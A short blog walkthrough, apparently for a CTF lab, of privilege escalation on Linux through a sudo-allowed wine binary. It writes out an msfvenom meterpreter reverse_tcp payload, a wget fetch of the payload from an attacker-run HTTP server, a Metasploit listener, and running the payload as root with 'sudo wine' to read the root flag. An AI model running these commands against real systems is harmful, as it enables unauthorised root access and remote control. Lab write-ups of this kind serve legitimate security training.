Wine Privilege Escalation Linux

How to setup wine Privilege Escalation Lab For CTF

What is wine in Linux ?

Linux – Wine In Linux.

Wine enables you to run Windows applications on a box. It’s just a Windows emulator on top of Linux. Wine works on Linux, Unix, and other Linux system hence you can smoothly run Windows applications on these systems.

Linux – Wine Privilege Escalation.

Now first Setup our lab I am using ubuntu server 19.0 I am adding user Rahul sudoers file Rahul is a normal user

Add our normal user in the sudoers file

sudo visudo
Wine Privilege Escalation

After adding our user check sudoer file

sudo -l
Wine Privilege Escalation
Linux – Creating Payload.

Now exploit our target msfvenom payload I am creating a simple windows meterpreter shell

msfvenom -p windows/meterpreter/reverse_tcp lhost=<add- attacker-ip-address lport=<any-port-use> f exe> hackNos.exe
Wine Privilege Escalation

After Creating our payload upload the payload target machine Now I am starting our local Python server

python -m SimpleHTTPServer 99

Download our payload target machine with wget command /tmp directory

cd /tmp
wget http://192.168.1.50:99/hackNos.exe

After Download our payload Start our metasploit listener

  msfconsole

use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost <your local host IP > set lport <our payload port> run

execute our payload target machine

sudo /usr/bin/wine <our-payload-name>
Wine Privilege Escalation

I got a reverse connection target machine

Find our Root Flag target machine

cd /root
ls
cat root.txt

gdb debugger privilege escalation here try ctfplay

If you have any kind of problem in this whole process, then you can ask me by commenting.

 Thanks to all of you guys for reading my blog.

About Rahul Gehlaut

Cyber Security Researcher, CTF Player. Tech Blog Writer.

View all posts by Rahul Gehlaut →